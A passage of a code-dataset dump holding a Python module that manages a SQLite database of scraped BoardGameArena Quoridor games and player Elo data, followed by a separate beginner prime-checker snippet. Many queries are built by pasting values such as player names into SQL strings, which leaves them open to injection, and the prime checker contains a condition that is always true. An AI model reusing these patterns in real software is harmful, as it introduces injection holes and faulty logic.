\"player_2_rank\":int,\n \"players_count\":int,\n\n \"thinking_times\":str,\n \"absolute_timestamps\":str,\n \"reflexion_time_delta\":int,\n \"reflexion_time_max\":int,\n \"starting_player\":int,\n \"non_starting_player\":int,\n \"elo_after_player_1\":int,\n \"elo_after_player_2\":int,\n \"elo_win_player_1\":int,\n \"elo_win_player_2\":int,\n\n \"download_status\":str,\n \"process_state\":str,\n}\n\n\n# games_table_columns = {\n# \"table_id\":int,\n# \"download_status\":str,\n# \"player_1_id\":int,\n# \"player_2_id\":int,\n# \"player_1_name\":str,\n# \"player_2_name\":str,\n# \"moves_bga_notation\":str,\n# \"moves_lode_notation\":str,\n# \"thinking_times\":str,\n# \"total_time\":str,\n# \"game_quality\":str,\n# \"time_start\":int,\n# \"time_end\":int,\n# \"concede\":int,\n# \"unranked\":int,\n# \"normalend\":int,\n# \"player_1_score\":int,\n# \"player_2_score\":int,\n# \"player_1_rank\":int,\n# \"player_2_rank\":int,\n# \"elo_after\":int,\n# \"elo_win\":int,\n# \"player_id_scraped_player\":int,\n# \"players_count\":int,\n# }\n\nclass BoardGameArenaDatabaseOperations():\n def __init__(self, db_path, logger=None):\n self.logger = logger or logging.getLogger(__name__)\n self.logger.info(\"BoardGameArena scraper database operations. init.\".format(\n ))\n \n self.db_path = db_path\n self.players_table_name = \"players\"\n self.games_table_name = \"games\"\n self.games_per_player_table_name = \"games_per_player\"\n\n self.db_connect(self.db_path)\n\n self.create_players_table() # will only create if not exists\n self.create_games_table()\n self.create_game_metadata_by_player_table()\n\n def db_connect(self, db_path):\n self.db = sqlite3_operations.DatabaseSqlite3Actions( db_path, self.logger)\n\n def prepare_columns_data_for_sql(self, table_columns_dict, primary_key_column_name):\n\n columns = []\n for name,datatype in table_columns_dict.items():\n col = \"{} {}\".format(name, DATATYPE_TO_SQL_DATATYPE[datatype])\n \n if name == primary_key_column_name:\n col = \"{} PRIMARY KEY\".format(col)\n \n columns.append(col)\n \n sql_columns_string = \"({})\".format(\n \",\".join(columns),\n )\n return sql_columns_string \n\n def create_game_metadata_by_player_table(self):\n\n col_str = self.prepare_columns_data_for_sql(game_metadata_by_player_columns, \"table_with_player_id\")\n \n\n sql = \"\"\"CREATE TABLE IF NOT EXISTS {} {};\"\"\".format(\n self.games_per_player_table_name,\n col_str,\n )\n\n self.db.execute_sql(sql)\n self.commit()\n\n def create_players_table(self):\n sql_create_player_table = \"\"\"CREATE TABLE IF NOT EXISTS {} (\n player_id INTEGER PRIMARY KEY,\n player_name TEXT ,\n quoridor_games_played INTEGER,\n quoridor_games_won INTEGER,\n quoridor_games_lost INTEGER,\n ranking INTEGER,\n download_status TEXT,\n player_status TEXT\n );\"\"\".format(self.players_table_name)\n self.db.execute_sql(sql_create_player_table)\n self.commit()\n\n def commit(self):\n self.db.commit()\n\n def create_games_table(self):\n\n col_str = self.prepare_columns_data_for_sql(games_table_columns, \"table_id\")\n \n\n sql = \"\"\"CREATE TABLE IF NOT EXISTS {} {};\"\"\".format(\n self.games_table_name,\n col_str,\n )\n\n self.db.execute_sql(sql)\n self.commit()\n\n def add_game(self, game_data):\n # game_data is a dict with all game data\n self.db.add_record(self.games_table_name, game_data, True)\n\n def get_game_metadata(self, id):\n sql = \"\"\"SELECT * FROM {} WHERE {}=={};\"\"\".format(\n self.games_per_player_table_name,\n \"table_id\",\n id,\n )\n\n rows = self.db.execute_sql_return_rows(sql)\n\n game_meta_data = {}\n for row in rows:\n\n # convert to dict\n for i,column_name in enumerate(list(game_metadata_by_player_columns)):\n column_type_convert = game_metadata_by_player_columns[column_name]\n game_meta_data[column_name] = column_type_convert(row[i])\n\n if game_meta_data[\"player_id_scraped_player\"] == game_meta_data[\"player_1_id\"]:\n game_meta_data[\"elo_after_player_1\"] = game_meta_data[\"elo_after\"]\n game_meta_data[\"elo_win_player_1\"] = game_meta_data[\"elo_win\"]\n\n elif game_meta_data[\"player_id_scraped_player\"] == game_meta_data[\"player_2_id\"]:\n game_meta_data[\"elo_after_player_2\"] = game_meta_data[\"elo_after\"]\n game_meta_data[\"elo_win_player_2\"] = game_meta_data[\"elo_win\"]\n\n else:\n self.logger(\"should be player_1 or player_2.. but non found.\")\n raise Exception \n\n del game_meta_data[\"elo_win\"]\n del game_meta_data[\"elo_after\"]\n del game_meta_data[\"table_with_player_id\"]\n del game_meta_data[\"player_id_scraped_player\"]\n return game_meta_data\n\n def set_status_of_game_ids(self, ids, status=\"BUSY\"):\n\n if status not in OPERATION_STATUSES:\n self.logger.error(\"Illegal status {}\".format(status))\n return\n \n # set statuses as one sql transaction\n ids_str = [str(id) for id in ids]\n ids_formatted = \",\".join(ids_str)\n\n sql = \"UPDATE '{}' SET {} = '{}' WHERE {} in ({})\".format(\n self.games_per_player_table_name,\n \"download_status\",\n status,\n \"table_id\",\n ids_formatted,\n )\n\n self.logger.info(sql)\n\n self.db.execute_sql(sql)\n self.db.commit() \n\n def games_set_status_from_status(self, find_status=\"BUSY\", set_status=\"DONE\"):\n # anomalous rows that are still at busy even when all process finished need to be reset\n table_ids = self.get_games_ids_by_status(None,find_status)\n self.set_status_of_game_ids(table_ids, set_status)\n\n def get_games_ids_by_status(self, count=None, status=None):\n # if count=None --> all\n # if status=None --> no status needed.\n\n if status not in OPERATION_STATUSES:\n self.logger.error(\"Illegal status {}\".format(status))\n return\n\n sql = \"SELECT {} FROM {} WHERE download_status = '{}'\".format(\n \"table_id\",\n self.games_table_name,\n status,\n )\n rows = self.db.execute_sql_return_rows(sql,count)\n ids = [r[0] for r in rows]\n\n return ids\n\n def set_games_priority(self):\n \n # for every player number of games time elo ranking! \n # player_1 average elo \n # player_2 average elo\n # player_1 number of games\n # player_2 number of games\n # \n # player_1_elo_with_games_count_multiplied\n # player_2_elo_with_games_count_multiplied\n\n # game_importance_from_elo_and_games_count\n \n # get players data\n\n # get game data --> player1 and player2\n\n # create game importance data\n\n # create sql to set game importance\n\n pass\n\n def set_status_of_player_ids(self, ids, status=\"BUSY\"):\n\n if status not in OPERATION_STATUSES:\n self.logger.error(\"Illegal status {}\".format(status))\n return\n \n # set statuses as one sql transaction\n ids_str = [str(id) for id in ids]\n ids_formatted = \",\".join(ids_str)\n\n sql = \"UPDATE '{}' SET {} = '{}' WHERE {} in ({})\".format(\n self.players_table_name,\n \"processing_status\",\n status,\n \"player_id\",\n ids_formatted,\n )\n # self.logger.info(sql)\n\n self.db.execute_sql(sql)\n self.db.commit()\n\n def repair_busy_status_to_todo(self):\n # anomalous rows that are still at busy even when all process finished need to be reset\n while True:\n player_ids = self.get_player_ids(\"BUSY_SCRAPING\")\n\n if len(player_ids) == 0:\n return \n \n for player_id in player_ids:\n self.update_player_status(player_id, \"TO_BE_SCRAPED\", False)\n self.db.commit()\n\n def normalize_player_to_player_id(self, player):\n # player can be given as int (for the id) or string (id as string or player_name)\n try:\n player_id = int(player)\n\n except Exception as e:\n player_id = self.get_player_id_from_name(player)\n if player_id is None:\n self.logger.error(\"Could not get player id from name ({})\".format(\n player,\n ))\n return None \n return player_id\n \n def get_player_id_from_name(self, player_name):\n sql_base = ''' SELECT \"player_id\" FROM players WHERE {} = \"{}\";'''.format(\n \"player_name\",\n player_name,\n )\n\n sql = sql_base\n\n rows = self.db.execute_sql_return_rows(sql)\n\n if len(rows)>1:\n self.logger.error(\"More than one id for name: {} ({})\".format(\n player_name,\n rows,\n ))\n\n if len(rows)==0:\n self.logger.warning(\"Player {} not found in db. \".format(\n player_name,\n ))\n return None\n\n return rows[0][0]\n\n def get_player_ids(self, status=None, count=None):\n if status is not None:\n if status not in PLAYER_STATUSES:\n self.logger.error(\"Illegal status {}\".format(status))\n return\n sql_player_status = '''WHERE player_status = \"{}\"'''.format(status)\n\n else:\n sql_player_status = \"\"\n\n if count is None:\n count = \"\"\n else:\n count = \"LIMIT {}\".format(count)\n\n sql_base = ''' SELECT * FROM players {} {};'''.format(\n sql_player_status,\n count,\n )\n\n sql = sql_base\n\n rows = self.db.execute_sql_return_rows(sql)\n\n players = {}\n for row in rows:\n players[row[0]] = {\"name\":row[1]}\n\n return players\n\n def update_player_status(self, player_id, player_status, commit):\n if player_status not in PLAYER_STATUSES:\n raise PlayerStatusNotFound\n \n sql = \"UPDATE '{}' SET player_status = '{}' WHERE player_id = {}\".format(\n self.players_table_name,\n player_status,\n player_id,\n )\n\n self.db.execute_sql(sql)\n if commit:\n self.commit()\n\n def add_player(self, player_id, player_name, player_status, commit):\n if player_status not in PLAYER_STATUSES:\n raise PlayerStatusNotFound\n \n sql_base = ''' INSERT OR IGNORE INTO {} (player_id, player_name,player_status)\n VALUES ({},\"{}\",\"{}\");'''.format(\n self.players_table_name,\n player_id,\n player_name,\n player_status,\n )\n\n sql = sql_base\n\n self.db.execute_sql(sql)\n\n if commit:\n self.commit()\n\n\n def get_game_for_analyser(self, table_id):\n\n\n select_columns = [\"table_id\", \"player_1_id\", \"player_2_id\", \"player_1_name\", \"player_2_name\", \"moves_lode_notation\", \"starting_player\"]\n select_columns_str = \",\".join(select_columns)\n sql = \"SELECT {} FROM {} WHERE {} = '{}'\".format(\n select_columns_str,\n self.games_table_name,\n \"table_id\",\n table_id,\n )\n rows = self.db.execute_sql_return_rows(sql)\n\n if len(rows)>1:\n self.logger.error(\"more than one table with same id\")\n\n if len(rows) == 0:\n self.logger.warning(\"tableid not found. {}\".format(\n table_id,\n ))\n return \"\"\n\n result_dict = {k:rows[0][i] for i,k in enumerate(select_columns)}\n\n if result_dict[\"starting_player\"] == result_dict[\"player_1_id\"]:\n result_dict[\"starting_player_name\"] = result_dict[\"player_1_name\"]\n result_dict[\"non_starting_player_name\"] = result_dict[\"player_2_name\"]\n\n elif result_dict[\"starting_player\"] == result_dict[\"player_2_id\"]:\n result_dict[\"starting_player_name\"] = result_dict[\"player_2_name\"]\n result_dict[\"non_starting_player_name\"] = result_dict[\"player_1_name\"]\n\n else:\n self.logger.error(\"no valid starting player found {}\".format(result_dict))\n raise ValueError\n\n # str to be accepted by javascript analyser\n\n result_str =(\n \"\\n\"\n \"//--- {} vs {} ---(boardgamearena tableid:{})\\n\"\n \"var game_moves = {};\\n\"\n \"var game_id = {};\\n\"\n \"var starting_player = '{}';\\n\"\n \"var non_starting_player = '{}';\\n\"\n ).format(\n result_dict[\"starting_player_name\"],\n result_dict[\"non_starting_player_name\"],\n result_dict[\"table_id\"],\n result_dict[\"moves_lode_notation\"],\n result_dict[\"table_id\"],\n result_dict[\"starting_player_name\"],\n result_dict[\"non_starting_player_name\"],\n )\n\n return result_str\n\n\n\n def update_players_from_games(self):\n players = self.get_players_from_games()\n for id,name in players.items():\n self.add_player( id, name, \"TO_BE_SCRAPED\", False)\n self.commit()\n\n def fill_in_player_data(self):\n # get players\n\n # avg_elo_games_count_mult\n # high_elo_games_count_mult\n\n\n # restriction = \"WHERE games_played=100\"\n restriction = \"\"\n\n # get player data\n sql = \"SELECT player_id, games_played, average_elo, highest_elo FROM {} {}\".format(\n self.players_table_name,\n restriction,\n )\n rows = self.db.execute_sql_return_rows(sql)\n\n player_data = defaultdict(dict)\n \n # process data\n for player_id, games_played, average_elo, highest_elo in rows:\n if games_played is None:\n games_played = 0\n if average_elo is None:\n average_elo = 0\n if highest_elo is None:\n highest_elo = 0\n\n player_data[player_id][\"avg_elo_games_count_mult\"] = games_played * average_elo\n player_data[player_id][\"high_elo_games_count_mult\"] = games_played * highest_elo\n\n self.db.add_column_to_existing_table(\"players\",\"avg_elo_games_count_mult\", \"INT\", \"null\")\n self.db.add_column_to_existing_table(\"players\",\"high_elo_games_count_mult\", \"INT\", \"null\")\n \n # write every player's stats\n number_of_players = len(list(player_data))\n for i, (player_id, data) in enumerate(player_data.items()):\n # add to table\n sql = \"UPDATE '{}' SET avg_elo_games_count_mult={}, high_elo_games_count_mult={} WHERE player_id = {}\".format(\n self.players_table_name,\n data[\"avg_elo_games_count_mult\"],\n data[\"high_elo_games_count_mult\"],\n player_id,\n )\n\n self.db.execute_sql(sql)\n if i%1000 == 0:\n self.logger.info(\"{} ({}/{})\".format(\n player_id,\n i+1,\n number_of_players,\n ))\n self.commit() \n\n def complete_player_data_from_games(self):\n\n # lowest timestamp\n # highest timestamp\n # highest elo\n # average elo\n # games played\n\n\n # restriction = \"WHERE elo_win=47\"\n restriction = \"\"\n\n # get games data\n sql = \"SELECT player_1_id, player_2_id, time_start, player_id_scraped_player, elo_after FROM {} {}\".format(\n self.games_table_name,\n restriction,\n )\n rows = self.db.execute_sql_return_rows(sql)\n\n player_data = defaultdict(dict)\n \n # process data\n for player_1, player_2, time_start, player_id_scraped_player, elo_after in rows:\n\n for player_id in (player_1, player_2):\n \n\n if not \"games_played\" in player_data[player_id]:\n player_data[player_id][\"games_played\"] = 0\n\n player_data[player_id][\"games_played\"] += 1\n\n if not \"lowest_timestamp\" in player_data[player_id]:\n player_data[player_id][\"lowest_timestamp\"] = 99999999999\n if player_data[player_id][\"lowest_timestamp\"] > time_start:\n player_data[player_id][\"lowest_timestamp\"] = time_start\n time_start_ISO = datetime.datetime.fromtimestamp(time_start).strftime(\"%Y.%m.%d-%H.%M.%S\")\n player_data[player_id][\"lowest_timestamp_ISO\"] = time_start_ISO\n\n if not \"highest_timestamp\" in player_data[player_id]:\n player_data[player_id][\"highest_timestamp\"] = 0\n if player_data[player_id][\"highest_timestamp\"] < time_start:\n player_data[player_id][\"highest_timestamp\"] = time_start\n time_start_ISO = datetime.datetime.fromtimestamp(time_start).strftime(\"%Y.%m.%d-%H.%M.%S\")\n player_data[player_id][\"highest_timestamp_ISO\"] = time_start_ISO\n \n if not \"highest_elo\" in player_data[player_id]:\n player_data[player_id][\"highest_elo\"] = 0\n if not \"average_elo\" in player_data[player_id]:\n player_data[player_id][\"average_elo\"] = 0\n \n\n if player_id == player_id_scraped_player:\n if player_data[player_id][\"highest_elo\"] < elo_after:\n player_data[player_id][\"highest_elo\"] = elo_after\n\n average_elo = ((((player_data[player_id][\"games_played\"]-1) * player_data[player_id][\"average_elo\"]) + elo_after) / player_data[player_id][\"games_played\"]) # games_played is already updated.\n player_data[player_id][\"average_elo\"] = average_elo\n\n \n # make sure columns exist\n self.db.add_column_to_existing_table(\"players\",\"games_played\", \"INT\", \"null\")\n self.db.add_column_to_existing_table(\"players\",\"average_elo\", \"INT\", \"null\")\n self.db.add_column_to_existing_table(\"players\",\"highest_elo\", \"INT\", \"null\")\n self.db.add_column_to_existing_table(\"players\",\"highest_timestamp\", \"INT\", \"null\")\n self.db.add_column_to_existing_table(\"players\",\"lowest_timestamp\", \"INT\", \"null\")\n self.db.add_column_to_existing_table(\"players\",\"highest_timestamp_ISO\", \"TEXT\", \"null\")\n self.db.add_column_to_existing_table(\"players\",\"lowest_timestamp_ISO\", \"TEXT\", \"null\")\n\n # write every player's stats\n number_of_players = len(list(player_data))\n for i, (player_id, data) in enumerate(player_data.items()):\n # add to table\n sql = \"UPDATE '{}' SET games_played={}, average_elo={}, highest_elo={}, highest_timestamp={}, lowest_timestamp={}, highest_timestamp_ISO='{}', lowest_timestamp_ISO='{}' WHERE player_id = {}\".format(\n self.players_table_name,\n data[\"games_played\"],\n data[\"average_elo\"],\n data[\"highest_elo\"],\n data[\"highest_timestamp\"],\n data[\"lowest_timestamp\"],\n data[\"highest_timestamp_ISO\"],\n data[\"lowest_timestamp_ISO\"],\n player_id,\n )\n # if player_id == 9668513:\n # # self.logger.info(\"FOUND PABLITOOOOO\")\n # # self.logger.info(player_data[player_id])\n # self.logger.info(sql)\n\n self.db.execute_sql(sql)\n if i%1000 == 0:\n self.logger.info(\"{} ({}/{})\".format(\n player_id,\n i+1,\n number_of_players,\n ))\n self.commit() \n\n def elo_max_average_per_player(self):\n pass\n\n def get_game_ids_for_player_confrontations(self, player_id_1, player_id_2):\n # from raw scraped data\n sql = \"\"\"SELECT table_id FROM {0} WHERE (player_1_id = {2} OR player_1_id = {1}) AND (player_2_id = {2} OR player_2_id = {1});\"\"\".format(\n \"games_per_player\",\n player_id_1,\n player_id_2,\n )\n \n rows = self.db.execute_sql_return_rows(sql)\n ids = [r[0] for r in rows]\n return ids\n \n # def get_game_ids_for_player(self, player_id):\n # player_id = int(player_id)\n # sql = \"\"\"SELECT table_id FROM games WHERE player_1_id = {0} OR player_2_id = {0};\"\"\".format(player_id)\n \n # rows = self.db.execute_sql_return_rows(sql)\n # ids = [r[0] for r in rows]\n # return ids\n \n def get_and_mark_game_ids_for_player(self, player_id, count=None, set_status=\"BUSY\"):\n player_id = int(player_id)\n sql = \"\"\"SELECT table_id FROM games_per_player WHERE (player_id_scraped_player = {0}) AND (download_status is null) LIMIT {1};\"\"\".format(\n player_id,\n count,\n )\n\n self.logger.info(sql)\n\n rows = self.db.execute_sql_return_rows(sql)\n\n if count is not None:\n ids = [r[0] for r in rows [:count]]\n else:\n ids = [r[0] for r in rows]\n \n self.logger.info(\"ids: {} , set status: {}\".format(\n ids,\n set_status,\n ))\n\n self.set_status_of_game_ids(ids, set_status)\n\n return ids\n\n def max_elo_per_player(self):\n # check for elo at games (it's not perfect, but should do the trick)\n # add to player.\n pass\n\n def set_other_player_elo_per_game(self):\n # I should download this.... , but the alternative is to take the other players elo (or maybe the elo at the nearest closed table id !...)\n # YES! DOWNLOAD! Will be so much more straight forward!\n \n pass\n\n def generate_game_importance_score(self):\n # multiply elo player 1 with elo player 2\n # \n pass\n\n def set_game_process_status(self, table_id):\n # update status\n\n pass\n \n def get_players_from_games(self):\n sql_base = ''' SELECT * FROM {};'''.format( \n self.games_per_player_table_name,\n )\n\n sql = sql_base\n\n rows = self.db.execute_sql_return_rows(sql)\n\n players = {}\n for row in rows:\n # player id:name pair\n players[row[3]] = row[5]\n players[row[4]] = row[6]\n\n return players\n \n def add_game_metadata(self, table_id, metadata, commit):\n\n # check and prepare the data\n columns = []\n values = []\n\n table_columns_data = game_metadata_by_player_columns\n possible_column_names = table_columns_data.keys()\n for column,value in metadata.items():\n if column not in possible_column_names:\n raise UnexpectedColumnNameException\n\n if value is None:\n # reaction to error thrown. I presume things changed on website over time.....\n value = str(None)\n\n if table_columns_data[column] is str:\n values.append(\"\\\"{}\\\"\".format(value))\n \n elif table_columns_data[column] is int:\n if value is None or value == \"None\":\n value = \"NULL\"\n values.append(value)\n \n else:\n raise UnexpectedColumnTypeException\n\n columns.append(column)\n try:\n columns = \",\".join(columns)\n values = \",\".join(values)\n except Exception as e:\n self.logger.error(\"error converting {} to string. ({})\".format(\n values,\n e,\n ))\n raise\n\n # sql command\n sql = ''' INSERT OR IGNORE INTO {} ({})\n VALUES ({});'''.format(\n self.games_per_player_table_name,\n columns,\n values,\n )\n\n self.db.execute_sql(sql)\n\n if commit:\n self.commit()\n\n # def game_count_per_player_fast(self):\n # # go over all games.\n # # get player ids, add counter for both on a defaultdict\n\n # sql = \"SELECT player_1_id, player_2_id FROM {} \".format(\n # self.games_table_name,\n # )\n # # sql = \"SELECT player_1_id, player_2_id FROM {} WHERE elo_win=47 \".format(\n # # self.games_table_name,\n # # )\n \n # rows = self.db.execute_sql_return_rows(sql)\n # games_per_player = defaultdict(int)\n\n # for player_1, player_2 in rows:\n # games_per_player[player_1] += 1\n # games_per_player[player_2] += 1\n\n # # make sure a column exists\n # self.db.add_column_to_existing_table(\"players\",\"games_played\", \"INT\", \"null\")\n\n # # write every player's stats\n # number_of_players = len(list(games_per_player))\n # for i, (player_id, games_played) in enumerate(games_per_player.items()):\n # # add to table\n # sql = \"UPDATE '{}' SET games_played = '{}' WHERE player_id = {}\".format(\n # self.players_table_name,\n # games_played,\n # player_id,\n # )\n\n # self.db.execute_sql(sql)\n # self.logger.info(\"{} ({}/{})\".format(\n # player_id,\n # i+1,\n # number_of_players,\n # ))\n # self.commit()\n\n\n # def games_count_per_player(self, count_per_call=4):\n # # select all games for a player as player 1 and as player 2\n # # make new column in players table\n # # add games count to player.\n # # self.db.add_column_to_existing_table(\"players\",\"games_played\", \"INT\", \"null\")\n \n # timestamp = time.time()\n\n # # reading and writing\n # player_ids = self.get_player_ids(count=count_per_call, status=\"TODO\", set_status_of_selected_rows=\"BUSY\")\n\n # time_delta_1 = time.time() - timestamp\n # timestamp = time.time()\n\n # # reading\n # if len(player_ids) == 0:\n # self.info.logger(\"No player ids returned. Done.\")\n # return False\n\n # player_games_tuples = []\n # for player_id in player_ids:\n # game_ids= self.get_game_ids_for_player(player_id)\n # games_played = len(game_ids)\n # player_games_tuples.append((player_id, games_played))\n # self.logger.info(\"Player {} player {} games\".format(\n # player_id,\n # games_played,\n # ))\n \n # time_delta_2 = time.time() - timestamp\n # timestamp = time.time()\n\n # #writing results (combine to limit time spent writing (database is locked for other processes to read at that time. sqlite is settable for still being readable at that time though...))\n # for player_id, games_played in player_games_tuples:\n # # add to table\n # sql = \"UPDATE '{}' SET games_played = '{}' WHERE player_id = {}\".format(\n # self.players_table_name,\n # games_played,\n # player_id,\n # )\n\n # self.db.execute_sql(sql)\n\n\n # time_delta_3 = time.time() - timestamp\n # timestamp = time.time()\n # # add to table\n\n # # player_games_count_str = \"\"\n # # for t in player_games_tuples:\n # # player_games_count_str += str(t)\n # # player_games_tuples_str = [str(t) for t in player_games_tuples]\n # # player_games_count_str = \",\".join(player_games_tuples_str)\n\n # # sql = \"INSERT INTO {} (player_id, games_played) VALUES {} ON DUPLICATED KEYS UPDATE player_id=VALUES(player_id),games_played=VALUES(games_played);\".format(\n # # self.players_table_name,\n # # player_games_count_str,\n # # )\n # # self.logger.info(sql)\n # # self.db.execute_sql(sql)\n\n # # self.logger.info(\"Player {} player {} games\".format(\n # # player_id,\n # # games_played,\n # # ))\n \n # self.set_status_of_player_ids(player_ids,\"DONE\")\n\n # time_delta_4 = time.time() - timestamp\n # timestamp = time.time()\n \n # self.db.commit()\n # self.logger.info(\"Counted games for {} players. Example player id processed: {}. {:.2f}s,{:.2f}s,{:.2f}s,{:.2f}s.\".format(\n # count_per_call,\n # player_ids[0],\n # time_delta_1,\n # time_delta_2,\n # time_delta_3,\n # time_delta_4,\n # ))\n\n # return True\n\n # def add_sequences(self, sequences, status, commit=True):\n # # all sequences are assumed to have the same lenght (aka for the same level)\n # if len(sequences) == 0:\n # return\n \n # table_name = self.sequence_to_table_name(sequences[0])\n\n # rows_data = []\n # for sequence in sequences:\n # seqstr = self.sequence_to_str(sequence)\n # rows_data.append( \"('{}','{}','{}')\".format(seqstr, status,''))\n \n # rowsdatastr = \",\".join(rows_data)\n \n # sql_base = ''' INSERT INTO {} (sequence, status, optional)\n # VALUES {} ;'''.format(table_name, rowsdatastr)\n\n # sql = sql_base.format(table_name, )\n\n # self.db.execute_sql(sql)\n\n # if commit:\n # self.db.commit()\n # # print(\"commit\")\n \n # def add_sequence(self, sequence, status, commit=True):\n # # sequence is an array of tuples. with (piece_id, piece_orientation)\n\n # # convert to string of list of ints.\n \n # table_name = self.sequence_to_table_name(sequence)\n # savestr = self.sequence_to_str(sequence)\n\n # sql_base = ''' INSERT INTO {} (sequence, status, optional)\n # VALUES('{}','{}','{}');'''\n # sql = sql_base.format(table_name, savestr, status,'')\n\n # self.db.execute_sql(sql)\n\n # if commit:\n # self.db.commit()\n \n # # def change_statuses(self, sequences, status, commit=True):\n # # for sequence in sequences:\n # # self.change_status(sequence, status, False)\n\n # # if commit:\n # # self.db.commit()\n \n # def change_statuses(self, sequences, status, commit=True):\n\n # if len(sequences) == 0:\n # return \n\n # # all sequences should have the same length. So, \n # table_name = self.sequence_to_table_name(sequences[0])\n\n # # table_name = self.level_to_table_name(level)\n\n # conditions= []\n # for sequence in sequences:\n # seqstr = self.sequence_to_str(sequence)\n # condition = \"sequence = '{}'\".format(seqstr)\n # conditions.append(condition)\n \n # conditionsstr = \" OR \".join(conditions)\n\n # sql = \"UPDATE '{}' SET status = {} WHERE {}\".format(table_name, status, conditionsstr)\n # self.db.execute_sql(sql)\n # if commit:\n # self.db.commit()\n \n # def change_status(self, sequence, status, commit=True):\n # table_name = self.sequence_to_table_name(sequence)\n # seqstr = self.sequence_to_str(sequence)\n\n # sql = \"UPDATE '{}' SET status = {} WHERE sequence = '{}'\".format(table_name, status, seqstr)\n # self.db.execute_sql(sql)\n # if commit:\n # self.db.commit()\n \n # def get_sequences(self, desired_status, level, count, mark_as_in_progress=False):\n \n # table_name = self.level_to_table_name(level)\n \n # with self.db.conn:\n # sql = \" SELECT * from '{}' where status = {} LIMIT {}\".format(\n # table_name,\n # desired_status,\n # count,\n # )\n\n # rows = self.db.execute_sql_return_rows(sql)\n # sequences = []\n # for row in rows:\n # sequence = self.str_to_sequence(row[1])\n # sequences.append(sequence)\n\n # if mark_as_in_progress:\n # self.change_statuses(sequences, TESTING_IN_PROGRESS, True)\n\n # return sequences\n\n # def sequence_to_table_name(self, sequence):\n # level= len(sequence)\n # return self.level_to_table_name(level)\n\n # def level_to_table_name(self, level):\n # return self.table_base_name.format(level)\n \n # def sequence_to_str(self, sequence):\n # savestr = \"\" \n # for p,o in sequence:\n # savestr += \"{},{},\".format(p,o)\n # return savestr[:-1] # delete last\n \n # def str_to_sequence(self, seqstr):\n # # expect str like: 1,2,345,6,7,8 --> even length!! (not odd)\n # elements = seqstr.split(\",\")\n # seq = []\n # for p,o in zip(elements[0::2], elements[1::2]):\n # seq.append((int(p),int(o)))\n # return seq\n\ndef logging_setup(level = logging.INFO, log_path = None, new_log_file_creation=\"\", flask_logger=None):\n ''' \n if using flask, provide flask_logger as ; app.logger\n\n new_log_file_creation : \n \"SESSION\" --> every time program restarted, new file\n \"MIDNIGHT\" --> new file every day\n \"\" or \"NEVER\" --> single file\n log_path: full filename (as pathlib.Path)\n ''' \n message_format = logging.Formatter('%(threadName)s\\t%(levelname)s\\t%(asctime)s\\t:\\t%(message)s\\t(%(module)s/%(funcName)s/%(lineno)d)')\n \n if flask_logger is None:\n logger = logging.getLogger(__name__)\n else:\n # flask has its own logger (app.logger)\n logger = flask_logger\n \n logger.setLevel(level=level) # necessary magic line....\n logger.propagate = 0\n \n if log_path is not None:\n # log to file\n # check/create log filepath\n log_path = Path(log_path)\n log_path.mkdir(parents=True, exist_ok=True) \n\n timestamp_str = datetime.datetime.now().strftime(\"%Y-%m-%d_%H.%M.%S\")\n filename = \"{}_{}{}\".format(log_path.stem, timestamp_str, log_path.suffix)\n log_path_with_starttime = Path(log_path.parent, filename)\n\n if new_log_file_creation == \"\" or new_log_file_creation == \"NEVER\":\n f_handler = logging.FileHandler(log_path)\n f_handler.setLevel(level=level)\n f_handler.setFormatter(message_format)\n\n elif new_log_file_creation == \"MIDNIGHT\":\n # do start a new log file for each startup of program. too.\n f_handler = logging.handlers.TimedRotatingFileHandler(\n log_path_with_starttime, when=\"midnight\",\n interval=1,\n backupCount=100,\n ) # will first create the log_path name for the actual logging, and then, when time is there, copy this file to a name with the correct time stamp. \n f_handler.setLevel(level=level)\n f_handler.setFormatter(message_format)\n f_handler.suffix = \"_%Y-%m-%d_%H.%M.%S.txt\"\n\n elif new_log_file_creation == \"SESSION\":\n # new file at every startup of program.\n f_handler = logging.FileHandler(log_path_with_starttime)\n f_handler.setLevel(level=level)\n f_handler.setFormatter(message_format)\n \n else:\n logger.info(\"error: uncorrect log file creation identifier:{}\".format(new_log_file_creation))\n \n logger.addHandler(f_handler)\n\n # log to console (this needs to put last. If set before logging to file, everything is outputted twice to console.)\n c_handler = logging.StreamHandler()\n c_handler.setLevel(level=level)\n c_handler.setFormatter(message_format)\n \n logger.addHandler(c_handler)\n\n return logger\nif __name__ == '__main__':\n \n logger = logging_setup(logging.INFO, Path(DATABASE_PATH, r\"logs\", \"bga_scraping_database_operations.log\"), \"SESSION\" )\n\n # db_name = \"bga_quoridor_data.db\"\n # db_name = \"TESTING_bga_quoridor_data.db\"\n # db_name = \"TESTING_bga_quoridor_data_test_player_game_table.db\"\n db_name = \"bga_quoridor_data.db\"\n # db_name = \"TESTING_bga_quoridor_data_bkpAfterBasicScraping_modified_20201120.db\"\n\n\n \n db_path = Path( DATABASE_PATH,\n db_name,\n )\n \n db = BoardGameArenaDatabaseOperations(db_path, logger)\n\n logger.info(db.get_game_for_analyser(126298542))\n\n # ids = db.get_and_mark_game_ids_for_player(84306079, 4, \"BUSY\")\n # db.set_status_of_game_ids(ids,\"TODO\")\n # db.games_set_status_from_status(\"BUSY\", \"TODO\")\n\n # db.complete_player_data_from_games()\n # db.fill_in_player_data()\n # db.fill_in_games_data_from_player()\n # db.fill_in_games_data()\n\n exit() \n # db.db.add_column_to_existing_table(\"players\", \"processing_status\", \"TEXT\", \"TODO\")\n \n\n # continue_counting= True\n # while continue_counting:\n # continue_counting = db.games_count_per_player(30) # 19s for 100 records\n \n # print(db.get_games_for_player(2251))\n # print(db.get_games_for_player(85054430))\n\n # db.add_player(\"12345\",\"lode\",\"TEST\",True)\n # print( list(db.get_player_ids(\"TEST\",1))[0])\n # db.update_player_status(1233, \"TEST2\", True)\n # print(db.get_player_ids(\"TO_BE_SCRAPEDff\",1))\n # db.update_players_from_games()","repo_name":"hyperlode/quoridor_python","sub_path":"boardgamearena_games_downloader/bga_scraping_database_operations.py","file_name":"bga_scraping_database_operations.py","file_ext":"py","file_size_in_byte":39240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70011133984","text":"#Write your code below this line \ndef prime_checker(number):\n\n try:\n number = float(number)\n\n if number == int(number):\n number = int(number)\n if number > 1:\n for i in range(2, number):\n if number % i == 0:\n print(\"It's not a prime number.\")\n break\n else :\n print(\"It's a prime number.\")\n elif number < 0 :\n print(\"You've entered a negative number.\")\n elif number==0 or 1:\n print(f'{number} is not a prime number.')\n else :\n print(\"Yo've entered a float type number.\")\n\n except :\n print(\"You've entered not a number\")\n \n\n\n\n#Write your code above this line 